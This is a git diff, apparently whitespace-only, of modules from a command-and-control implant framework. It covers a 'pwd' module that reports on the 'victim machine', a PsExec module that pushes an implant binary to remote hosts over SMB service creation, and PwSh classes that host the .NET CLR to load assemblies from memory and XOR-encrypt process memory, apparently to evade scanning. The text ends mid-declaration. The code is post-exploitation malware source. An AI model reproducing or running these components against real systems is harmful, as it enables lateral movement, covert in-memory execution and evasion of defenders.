PrintWorkingDirectory* PrintWorkingDirect PrintWorkingDirectory::PrintWorkingDirectory() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -46,41 +46,41 @@ PrintWorkingDirectory::~PrintWorkingDirectory() std::string PrintWorkingDirectory::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "PrintWorkingDirectory Module:\n"; - info += "Print the current working directory on the victim machine.\n"; - info += "\nExample:\n"; - info += "- pwd\n"; + info += "PrintWorkingDirectory Module:\n"; + info += "Print the current working directory on the victim machine.\n"; + info += "\nExample:\n"; + info += "- pwd\n"; #endif - return info; + return info; } int PrintWorkingDirectory::init(std::vector &splitedCmd, C2Message &c2Message) { - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(""); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(""); - return 0; + return 0; } int PrintWorkingDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string outCmd = printWorkingDirectory(); + std::string outCmd = printWorkingDirectory(); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(""); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } std::string PrintWorkingDirectory::printWorkingDirectory() { - std::string result; + std::string result; result = filesystem::current_path().string(); - return result; + return result; } \ No newline at end of file diff --git a/modules/PrintWorkingDirectory/PrintWorkingDirectory.hpp b/modules/PrintWorkingDirectory/PrintWorkingDirectory.hpp index a25396b..3cc3cfa 100644 --- a/modules/PrintWorkingDirectory/PrintWorkingDirectory.hpp +++ b/modules/PrintWorkingDirectory/PrintWorkingDirectory.hpp @@ -7,20 +7,20 @@ class PrintWorkingDirectory : public ModuleCmd { public: - PrintWorkingDirectory(); - ~PrintWorkingDirectory(); + PrintWorkingDirectory(); + ~PrintWorkingDirectory(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string printWorkingDirectory(); + std::string printWorkingDirectory(); }; diff --git a/modules/PsExec/PsExec.cpp b/modules/PsExec/PsExec.cpp index 20105c4..f766bdc 100644 --- a/modules/PsExec/PsExec.cpp +++ b/modules/PsExec/PsExec.cpp @@ -49,9 +49,9 @@ __attribute__((visibility("default"))) PsExec* PsExecConstructor() PsExec::PsExec() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { srand(time(NULL)); @@ -65,7 +65,7 @@ PsExec::~PsExec() std::string PsExec::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER info += "PsExec Module:\n"; info += "Execute a binary on a remote victim machine by creating a service via an SMB share.\n"; @@ -75,39 +75,39 @@ std::string PsExec::getInfo() info += "- psExec m3dc.cyber.local /tmp/implant.exe\n"; info += "- psExec 10.9.20.10 /tmp/implant.exe\n"; #endif - return info; + return info; } int PsExec::init(std::vector &splitedCmd, C2Message &c2Message) { if (splitedCmd.size() >= 3) - { + { string scmServer = splitedCmd[1]; - string inputFile = splitedCmd[2]; + string inputFile = splitedCmd[2]; - std::ifstream input(inputFile, std::ios::binary); - if( input ) - { - std::string buffer(std::istreambuf_iterator(input), {}); + std::ifstream input(inputFile, std::ios::binary); + if( input ) + { + std::string buffer(std::istreambuf_iterator(input), {}); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_cmd(scmServer); - c2Message.set_data(buffer.data(), buffer.size()); - } - else - { - c2Message.set_returnvalue("Failed: Couldn't open file."); - return -1; - } + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_cmd(scmServer); + c2Message.set_data(buffer.data(), buffer.size()); + } + else + { + c2Message.set_returnvalue("Failed: Couldn't open file."); + return -1; + } - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #ifdef __linux__ @@ -115,7 +115,7 @@ int PsExec::init(std::vector &splitedCmd, C2Message &c2Message) #endif - return 0; + return 0; } @@ -137,7 +137,7 @@ std::string randomName( size_t length ) int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage) { - const std::string cmd = c2Message.cmd(); + const std::string cmd = c2Message.cmd(); std::vector splitedList; splitList(cmd, ";", splitedList); @@ -189,10 +189,10 @@ int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage) #endif - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(result); - return 0; + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(result); + return 0; } diff --git a/modules/PsExec/PsExec.hpp b/modules/PsExec/PsExec.hpp index 17297e6..0668175 100644 --- a/modules/PsExec/PsExec.hpp +++ b/modules/PsExec/PsExec.hpp @@ -7,15 +7,15 @@ class PsExec : public ModuleCmd { public: - PsExec(); - ~PsExec(); + PsExec(); + ~PsExec(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } diff --git a/modules/PwSh/AssemblyManager.cpp b/modules/PwSh/AssemblyManager.cpp index 69feca3..3562243 100644 --- a/modules/PwSh/AssemblyManager.cpp +++ b/modules/PwSh/AssemblyManager.cpp @@ -1,62 +1,62 @@ -#include "AssemblyManager.hpp" - - -MyAssemblyManager::MyAssemblyManager(void) -{ - count = 0; - m_assemblyStore = new MyAssemblyStore(); -}; - - -MyAssemblyManager::~MyAssemblyManager(void) -{ - delete m_assemblyStore; -}; - - -HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef() -{ - return(++((MyAssemblyManager*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyAssemblyManager::Release() -{ - if (--((MyAssemblyManager*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyAssemblyManager*)this)->count; -} - - -// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them) -// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation -HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) -{ - *ppReferenceList = NULL; - return S_OK; -} - - -//This is responsible for returning our IHostAssemblyStore implementation -HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) -{ - *ppAssemblyStore = m_assemblyStore; - return S_OK; -} - +#include "AssemblyManager.hpp" + + +MyAssemblyManager::MyAssemblyManager(void) +{ + count = 0; + m_assemblyStore = new MyAssemblyStore(); +}; + + +MyAssemblyManager::~MyAssemblyManager(void) +{ + delete m_assemblyStore; +}; + + +HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef() +{ + return(++((MyAssemblyManager*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyAssemblyManager::Release() +{ + if (--((MyAssemblyManager*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyAssemblyManager*)this)->count; +} + + +// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them) +// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation +HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) +{ + *ppReferenceList = NULL; + return S_OK; +} + + +//This is responsible for returning our IHostAssemblyStore implementation +HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) +{ + *ppAssemblyStore = m_assemblyStore; + return S_OK; +} + diff --git a/modules/PwSh/AssemblyManager.hpp b/modules/PwSh/AssemblyManager.hpp index ec1cfac..1ff2269 100644 --- a/modules/PwSh/AssemblyManager.hpp +++ b/modules/PwSh/AssemblyManager.hpp @@ -1,41 +1,41 @@ -#pragma once -#include "AssemblyStore.hpp" - - -class MyAssemblyManager : public IHostAssemblyManager -{ -public: - MyAssemblyManager(void); - ~MyAssemblyManager(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList); - virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore); - - int setTargetAssembly(TargetAssembly * targetAssembly) - { - m_assemblyStore->setTargetAssembly(targetAssembly); - return 0; - } - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) - { - m_assemblyStore->updateTargetAssembly(identityManager, data); - return 0; - } - - LPWSTR getAssemblyInfo() - { - return m_assemblyStore->getAssemblyInfo(); - }; - -protected: - DWORD count; - -private: - MyAssemblyStore* m_assemblyStore; - +#pragma once +#include "AssemblyStore.hpp" + + +class MyAssemblyManager : public IHostAssemblyManager +{ +public: + MyAssemblyManager(void); + ~MyAssemblyManager(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList); + virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore); + + int setTargetAssembly(TargetAssembly * targetAssembly) + { + m_assemblyStore->setTargetAssembly(targetAssembly); + return 0; + } + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) + { + m_assemblyStore->updateTargetAssembly(identityManager, data); + return 0; + } + + LPWSTR getAssemblyInfo() + { + return m_assemblyStore->getAssemblyInfo(); + }; + +protected: + DWORD count; + +private: + MyAssemblyStore* m_assemblyStore; + }; \ No newline at end of file diff --git a/modules/PwSh/AssemblyStore.cpp b/modules/PwSh/AssemblyStore.cpp index a30d1a2..fe160a8 100644 --- a/modules/PwSh/AssemblyStore.cpp +++ b/modules/PwSh/AssemblyStore.cpp @@ -1,114 +1,114 @@ -#include "AssemblyStore.hpp" -#include - -#include - -#include -#pragma comment(lib, "Shlwapi.lib") - - -MyAssemblyStore::MyAssemblyStore(void) -{ - count = 0; - m_targetAssembly = nullptr; -}; - - -MyAssemblyStore::~MyAssemblyStore(void) -{ -}; - - -HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef() -{ - return(++((MyAssemblyStore*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyAssemblyStore::Release() -{ - if (--((MyAssemblyStore*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyAssemblyStore*)this)->count; -} - - -int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) -{ - m_assembly=data; - - if(m_assemblyStream!=nullptr) - m_assemblyStream->Release(); - - m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size()); - identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize); - - // std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl; - // std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl; - m_id++; - - return 0; -} - - -int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) -{ - m_targetAssembly->updateTargetAssembly(identityManager, data); - - return 0; -} - - - -HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB) -{ - // std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl; - // std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl; - // std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl; - - // Check if the identity of the assembly being loaded is the one we want - if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0) - { - //This isn't used for anything here so just set it to 0 - *pContext = 0; - - UINT64 id = m_targetAssembly->getId(); - *pAssemblyId = id; - - //Create an IStream using our in-memory assembly bytes and return it to the CLR - *ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize()); - return S_OK; - - } - - // std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl; - - // If it's not our assembly then tell the CLR to handle it - return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); -} - - -// This shouldn't really get called but if it does we'll just tell the CLR to find it -HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB) -{ - // std::cout << "MyAssemblyStore::ProvideModule" << std::endl; - - //Tell the CLR to handle this - return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); -} +#include "AssemblyStore.hpp" +#include + +#include + +#include +#pragma comment(lib, "Shlwapi.lib") + + +MyAssemblyStore::MyAssemblyStore(void) +{ + count = 0; + m_targetAssembly = nullptr; +}; + + +MyAssemblyStore::~MyAssemblyStore(void) +{ +}; + + +HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef() +{ + return(++((MyAssemblyStore*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyAssemblyStore::Release() +{ + if (--((MyAssemblyStore*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyAssemblyStore*)this)->count; +} + + +int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) +{ + m_assembly=data; + + if(m_assemblyStream!=nullptr) + m_assemblyStream->Release(); + + m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size()); + identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize); + + // std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl; + // std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl; + m_id++; + + return 0; +} + + +int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) +{ + m_targetAssembly->updateTargetAssembly(identityManager, data); + + return 0; +} + + + +HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB) +{ + // std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl; + // std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl; + // std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl; + + // Check if the identity of the assembly being loaded is the one we want + if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0) + { + //This isn't used for anything here so just set it to 0 + *pContext = 0; + + UINT64 id = m_targetAssembly->getId(); + *pAssemblyId = id; + + //Create an IStream using our in-memory assembly bytes and return it to the CLR + *ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize()); + return S_OK; + + } + + // std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl; + + // If it's not our assembly then tell the CLR to handle it + return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); +} + + +// This shouldn't really get called but if it does we'll just tell the CLR to find it +HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB) +{ + // std::cout << "MyAssemblyStore::ProvideModule" << std::endl; + + //Tell the CLR to handle this + return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); +} diff --git a/modules/PwSh/AssemblyStore.hpp b/modules/PwSh/AssemblyStore.hpp index 51416ff..8dcac5c 100644 --- a/modules/PwSh/AssemblyStore.hpp +++ b/modules/PwSh/AssemblyStore.hpp @@ -1,94 +1,94 @@ -#pragma once -#include -#include -#include - -#include - -#include - - -class TargetAssembly -{ -public: - TargetAssembly(void) - { - m_assemblyStream = nullptr; - - m_id = 5000; - m_assemblyInfo = (LPWSTR)malloc(4096); - m_identityBufferSize = 4096; - - }; - ~TargetAssembly(void) - { - free(m_assemblyInfo); - }; - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); - - LPWSTR getAssemblyInfo() - { - return m_assemblyInfo; - }; - - int getId() - { - return m_id; - }; - - char* getAssembly() - { - return m_assembly.data(); - }; - - int getAssemblySize() - { - return m_assembly.size(); - }; - -private: - DWORD m_identityBufferSize; - LPWSTR m_assemblyInfo; - - std::string m_assembly; - - IStream* m_assemblyStream; - - int m_id; -}; - - -class MyAssemblyStore : public IHostAssemblyStore -{ -public: - MyAssemblyStore(void); - ~MyAssemblyStore(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB); - virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB); - - int setTargetAssembly(TargetAssembly * targetAssembly) - { - m_targetAssembly = targetAssembly; - return 0; - } - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); - - LPWSTR getAssemblyInfo() - { - return m_targetAssembly->getAssemblyInfo(); - }; - -protected: - DWORD count; - -private: - TargetAssembly* m_targetAssembly; - +#pragma once +#include +#include +#include + +#include + +#include + + +class TargetAssembly +{ +public: + TargetAssembly(void) + { + m_assemblyStream = nullptr; + + m_id = 5000; + m_assemblyInfo = (LPWSTR)malloc(4096); + m_identityBufferSize = 4096; + + }; + ~TargetAssembly(void) + { + free(m_assemblyInfo); + }; + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); + + LPWSTR getAssemblyInfo() + { + return m_assemblyInfo; + }; + + int getId() + { + return m_id; + }; + + char* getAssembly() + { + return m_assembly.data(); + }; + + int getAssemblySize() + { + return m_assembly.size(); + }; + +private: + DWORD m_identityBufferSize; + LPWSTR m_assemblyInfo; + + std::string m_assembly; + + IStream* m_assemblyStream; + + int m_id; +}; + + +class MyAssemblyStore : public IHostAssemblyStore +{ +public: + MyAssemblyStore(void); + ~MyAssemblyStore(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB); + virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB); + + int setTargetAssembly(TargetAssembly * targetAssembly) + { + m_targetAssembly = targetAssembly; + return 0; + } + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); + + LPWSTR getAssemblyInfo() + { + return m_targetAssembly->getAssemblyInfo(); + }; + +protected: + DWORD count; + +private: + TargetAssembly* m_targetAssembly; + }; \ No newline at end of file diff --git a/modules/PwSh/HostControl.cpp b/modules/PwSh/HostControl.cpp index eed41d5..39ac68f 100644 --- a/modules/PwSh/HostControl.cpp +++ b/modules/PwSh/HostControl.cpp @@ -1,85 +1,85 @@ -#include "HostControl.hpp" - - -MyHostControl::MyHostControl(void) -{ - count = 0; - - m_assemblyManager = new MyAssemblyManager(); - m_memoryManager = new MyMemoryManager(); -}; - -MyHostControl::~MyHostControl(void) -{ - delete m_assemblyManager; - delete m_memoryManager; -}; - - -HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv) -{ - // printf("MyHostControl_QueryInterface\n"); - - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyHostControl::AddRef() -{ - // printf("MyHostControl_AddRef\n"); - - return(++((MyHostControl*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyHostControl::Release() -{ - // printf("MyHostControl_Release\n"); - - if (--((MyHostControl*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyHostControl*)this)->count; -} - - -// This is responsible for returning all of our manager implementations -// If you want to disable an interface just comment out the if statement -HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject) -{ - // printf("MyHostControl_GetHostManager\n"); - - if (IsEqualIID(riid, IID_IHostMemoryManager)) - { - *ppObject = m_memoryManager; - return S_OK; - } - - if (IsEqualIID(riid, IID_IHostAssemblyManager)) - { - *ppObject = m_assemblyManager; - return S_OK; - } - - *ppObject = NULL; - return E_NOINTERFACE; -} - - -// //This has some fun uses left as an exercise for the reader :) -HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) -{ - // printf("MyHostControl_SetAppDomainManager\n"); - - return E_NOTIMPL; -} - +#include "HostControl.hpp" + + +MyHostControl::MyHostControl(void) +{ + count = 0; + + m_assemblyManager = new MyAssemblyManager(); + m_memoryManager = new MyMemoryManager(); +}; + +MyHostControl::~MyHostControl(void) +{ + delete m_assemblyManager; + delete m_memoryManager; +}; + + +HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv) +{ + // printf("MyHostControl_QueryInterface\n"); + + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyHostControl::AddRef() +{ + // printf("MyHostControl_AddRef\n"); + + return(++((MyHostControl*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyHostControl::Release() +{ + // printf("MyHostControl_Release\n"); + + if (--((MyHostControl*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyHostControl*)this)->count; +} + + +// This is responsible for returning all of our manager implementations +// If you want to disable an interface just comment out the if statement +HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject) +{ + // printf("MyHostControl_GetHostManager\n"); + + if (IsEqualIID(riid, IID_IHostMemoryManager)) + { + *ppObject = m_memoryManager; + return S_OK; + } + + if (IsEqualIID(riid, IID_IHostAssemblyManager)) + { + *ppObject = m_assemblyManager; + return S_OK; + } + + *ppObject = NULL; + return E_NOINTERFACE; +} + + +// //This has some fun uses left as an exercise for the reader :) +HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager) +{ + // printf("MyHostControl_SetAppDomainManager\n"); + + return E_NOTIMPL; +} + diff --git a/modules/PwSh/HostControl.hpp b/modules/PwSh/HostControl.hpp index 57c529c..c14615e 100644 --- a/modules/PwSh/HostControl.hpp +++ b/modules/PwSh/HostControl.hpp @@ -1,115 +1,115 @@ -#pragma once -#include -#include -#include - -#include "MemoryManager.hpp" -#include "AssemblyManager.hpp" - - -static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} }; - - -inline void XOREncrypt2(char* address, int size, const std::string& xorKey) -{ - DWORD start = 0; - while (start < size) - { - *(address + start) ^= xorKey[start % xorKey.size()]; - start++; - } -} - - -class MyHostControl : public IHostControl -{ -public: - MyHostControl(void); - ~MyHostControl(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject); - virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager); - - int setTargetAssembly(TargetAssembly * targetAssembly) - { - m_assemblyManager->setTargetAssembly(targetAssembly); - return 0; - } - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) - { - m_assemblyManager->updateTargetAssembly(identityManager, data); - return 0; - } - - LPWSTR getAssemblyInfo() - { - return m_assemblyManager->getAssemblyInfo(); - }; - - - const std::vector& getVirtualAllocList() - { - return m_memoryManager->getVirtualAllocList(); - } - - const std::vector& getMallocList() - { - return m_memoryManager->getMallocList(); - } - - int xorMemory(const std::string& xorKey) - { - std::vector vitualAllocList = getVirtualAllocList(); - - for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it) - { - MemAllocEntry* entry = *it; - if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE) - { - XOREncrypt2((char*)entry->Address, entry->size, xorKey); - } - } - - MEMORY_BASIC_INFORMATION memInfo; - DWORD oldProtect; - std::vector mallocList = getMallocList(); - for (auto it = mallocList.begin(); it != mallocList.end(); ++it) - { - MemAllocEntry* entry = *it; - - if(entry->Address) - { - ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); - - if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) - { - if (memInfo.Protect != PAGE_READWRITE) - { - ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect); - XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); - ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect); - } - else - { - XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); - } - } - } - } - - return 0; - } - -protected: - DWORD count; - -private: - MyAssemblyManager* m_assemblyManager; - MyMemoryManager* m_memoryManager; - -}; +#pragma once +#include +#include +#include + +#include "MemoryManager.hpp" +#include "AssemblyManager.hpp" + + +static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} }; + + +inline void XOREncrypt2(char* address, int size, const std::string& xorKey) +{ + DWORD start = 0; + while (start < size) + { + *(address + start) ^= xorKey[start % xorKey.size()]; + start++; + } +} + + +class MyHostControl : public IHostControl +{ +public: + MyHostControl(void); + ~MyHostControl(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID 